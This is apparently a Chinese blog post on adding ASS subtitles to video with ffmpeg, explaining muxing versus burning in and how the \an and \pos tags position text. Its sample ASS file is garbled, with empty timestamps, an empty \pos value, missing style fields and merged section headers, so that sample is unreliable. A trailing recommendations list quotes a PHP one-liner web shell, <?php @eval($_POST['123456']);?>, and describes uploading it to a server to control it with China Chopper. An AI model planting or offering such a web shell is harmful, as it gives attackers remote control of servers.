(原)使用ass字幕文件通过ffmpeg给视频添加字幕的一些研究
使用ass字幕文件通过ffmpeg给视频添加字幕的一些研究
Author:lihaiping1603@aliyun.com
Create:2019-09-04
最近对ffmpeg给视频文件添加字幕效果,进行了一些调试和研究,个人做个笔记,方便以后查找和使用。
将字幕加入到视频文件中,有两种方式:
1)第一种是将字幕以除了音视频之外的字幕流的形式添加到视频文件格式中,然后播放器在播放这个视频文件的时候,就可以显示相应的字幕效果了,该方式对于已经存在的视频文件,可以不用对音视频进行转码,速度和效率较高,但缺陷是对于一些格式不支持一些字幕编码格式,例如mp4不支持ass编码格式字幕流,而mkv支持。所以对于mkv格式的视频文件,我们可以利用如下的命令方式直接添加字幕流:
Ffmpeg -i video.mp4 -i subtitle.ass -c:v copy -c:a copy -c:s ass -y dest.mkv
2) 另外一种方式是将字幕流烧录到视频流中,即当成视频效果的一部分,通过字幕滤镜处理。优点是支持所有的视频文件格式,缺点是需要对原视频中的视频流进行转码处理,耗时耗硬件资源。例如将字幕文件烧录进mp4,可以利用如下的命令方式直接添加字幕:ffmpeg -i video.mp4 -vf ass=subtitle.ass -y dest.mp4
3) 同时这里介绍一下aas格式中的一些不是特别好理解的东西(相关基础资料可以参考:
aas文件格式介绍:
https://blog.csdn.net/winglyx/article/details/6791719;
https://www.douban.com/note/658520175/;
ass特效标签介绍:
https://aegi.vmoe.info/docs/3.2/ASS_Tags/;)。
针对字幕显示的位置,如何在ass中指定呢?这里我找到两个相关的字段\an和 \pos这两个字段:

这个是\an的介绍,我们假设我们是在一个虚拟的字幕输入框中输入我们的字幕,那么这个an的方式设置其实就是针对字幕输入框中当我们输入字幕的时候,这些字幕是如何在输入框中从什么位置开始展开的,也即以为字幕输入框的参考点设置,例如当我们设置为an5的时候,那么输入字幕的时候,参考点为输入框的中心,所以字幕增加的时候,就会在输入框向两边拓展展示。下面我们在确定pos和an的时候,字幕输入不同的字数的时候的截图如下:


所以an5,即输入框的参考点为输入框的中心位置。
接下来,我们再聊一下pos的问题:



pos指定的位置是基于原始视频画布的物理坐标,画布左上角为pos(0,0),右下角为pos(width/2,height/2);所以我们这里来看一下pos(0,0)的时候,改变an的参考点对齐方式,他的效果是怎么样的,看了,也许你就明白了。
An4_pos0_0:

An5_pos0_0:

An7_pos0_0:

这里更正一下:
上面的测试是在视频文件分辨率为968x544的分辨率的基础上,使用ass文件内容如下的测试结果。
ass文件内容:(注意script info中没有指定视频分辨率)
[Script Info]
; Script generated by Aegisub 3.2.
; http://www.aegisub.org/
Title: YYeTs
; Original Script: YYeTs
Synch Point:
ScriptType: v4.+
Timer: 100.0000
ScaledBorderAndShadow: no
YCbCr Matrix: TV.
WrapStyle: [V4+ Styles]
Format: Name, Fontname, Fontsize, PrimaryColour, SecondaryColour, OutlineColour, BackColour, Bold, Italic, Underline, StrikeOut, ScaleX, ScaleY, Spacing, Angle, BorderStyle, Outline, Shadow, Alignment, MarginL, MarginR, MarginV, Encoding
Style: Default,SourceHanSerifCN-Regular,,&H00F83C4A,&H00000000,&H00442121,&H00000000,,,,,,,,,,,,,,,, [Events]
Format: Layer, Start, End, Style, Name, MarginL, MarginR, MarginV, Effect, Text
Dialogue: ,::00.00,::11.04,*Default,NTP,,,,,{\an5\pos(,)}Hi,我是沐雨橙风
当修改ass中的script info的时候,会出现pos不同的情况,例如在script info中加入
PlayResX: 968
PlayResY: 544
指明视频的实际分辨率的时候,最右下角的坐标将变为pos(968,544),就不再是pos(484,272)了,至于在不指定的情况下,为啥会为1/2,暂时还没找到相关资料查证。
上述过程如果有误,请留言一起交流和更正整个过程。谢谢!
转载请注明出处:https://www.cnblogs.com/lihaiping/p/11460790.html
(原)使用ass字幕文件通过ffmpeg给视频添加字幕的一些研究的更多相关文章
- ffmpeg为视频添加时间戳 - 手动编译ffmpeg
FFMPEG给视频加时间戳水印 项目中需要给视频添加时间戳,理所当然最好用的办法是ffmpeg.在找到正确的做法前,还被网上的答案timecode给水了一下(水的不轻,在这里转了2天),大概是这样写的 ...
- 如何通过PR给视频添加字幕?
第一步:将视频通过导出音频格式MP3 第二步:将音频MP3导入网易见外平台 第三步:在网易见外平台创建项目,进行语音转写如下所示: 第四步:将从网易见外平台到处的srt字母文件,打开后进行编码为utf ...
- 使用ffmpeg为影片添加字幕
ffmpeg -i infile.mp4 -i infile.srt -c copy -c:s mov_text outfile.mp4 The order of -c copy -c:s mov_t ...
- 使用ffmpeg给视频添加跑马灯效果(滚动字幕)
直接上命令 从左往右滚 ffmpeg -i input.mp4 -vf "drawtext=text=string1 string2 string3 string4 string5 stri ...
- 【AE软件】视频添加字幕
1.导入视频 2.将视频拖入大屏幕 3.在下面点击右键——新建——文本 4.文字属性设置
- JWPlayer中字幕文件的配置
最近应项目要求研究JWPlayer,视研究进度可能会将解决的问题或者一些配置方法写在这里. jwplayer支持vtt和srt格式的字幕文件,在视频中可以选择加载多个字幕文件(常用于多语言字幕),并且 ...
- php使用ffmpeg向视频中添加文字字幕
这篇文章主要介绍了PHP使用ffmpeg给视频增加字幕显示的方法,实例分析了php操作ffmpeg给视频增加字母的技巧,具有一定参考借鉴价值,需要的朋友可以参考下. 本文实例讲述了PHP使用ffmpe ...
- 用Python处理字幕文件
始 下了部老电影,找到了相关的中英文字幕,奇怪的是,英文字幕能正常现实,中文字幕却不可以,我一度以为是Linux下播放器编码的问题,但是怎么更改设置都无效,而我以前在看其他电影时,中文字幕是正常的.所 ...
- FFmpeg 向视频中添加文字
原文地址:http://www.cnblogs.com/wanggang123/p/6707985.html FFmpeg支持添加文字功能,具体如何将文字叠加到视频中的每一张图片,FFmpeg调用了文 ...
随机推荐
- php一句话木马+中国菜刀拿服务器文件目录
使用工具: 中国菜刀 一句话php木马 <?php @eval($_POST['123456']);?> 第一步,将php木马上传至服务器,为了方便我就直接在服务器上建立. [root@p ...
- BitMap 图片格式与Base64Image格式互转方法
BitMap 图片格式与Base64Image格式互转方法 /// <summary> /// 图片转为base64编码的字符串 /// </summary> /// < ...
- 利用反射与dom4j读取javabean生成对应XML
项目中需要自定义生成一个xml,要把Javabean中的属性拼接一个xml,例如要生成以下xml <?xml version="1.0" encoding="gb2 ...
- wordpress调用指定分类文章如何实现
wordpress是很强大的cms系统,你可以通过相关函数就能实现相关的功能.很多网友会问wordpress怎么调用指定分类文章的呢?其实很简单,随ythah一起来看看吧,几行代码就解决了,代码如下 ...
- $.extend(obj1,obj2...,objN)小结 扩展obj1属性,有返回值,返回第一个被扩展后的对象
<script> var obj1 = { name:'liu', age:'24' } var obj2 = { name:'jinyu', sex:'m ...
- http编程体系结构URL loading system
https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/URLLoadingSystem/URLLoadi ...
- moya
https://juejin.im/post/5ac2cf34f265da23a1421483 https://juejin.im/post/5a69e9f9f265da3e290c6782
- DSL的概念
DSL:以极其高效的方式描述特定领域的对象.规则和运行方式的语言. 需要有特定的解释器与其配合. 高效简洁的领域语言,与通用语言相比能极大降级理解和使用难度,同时极大提高开发效率的语言. 能够描述特定 ...
- input type=file实现图片上传
<label for="file"> <img src="images/morende.jpg" alt=""> & ...
- OpenCV 学习笔记(10)HSV颜色空间及颜色空间转换(RGB-HSV)
1.1 颜色空间介绍 RGB 颜色空间是大家最熟悉的颜色空间,即三基色空间,任何一种颜色都可以由该三种 颜色混合而成.然而一般对颜色空间的图像进行有效处理都是在 HSV 空间进行的,HSV(色 调 H ...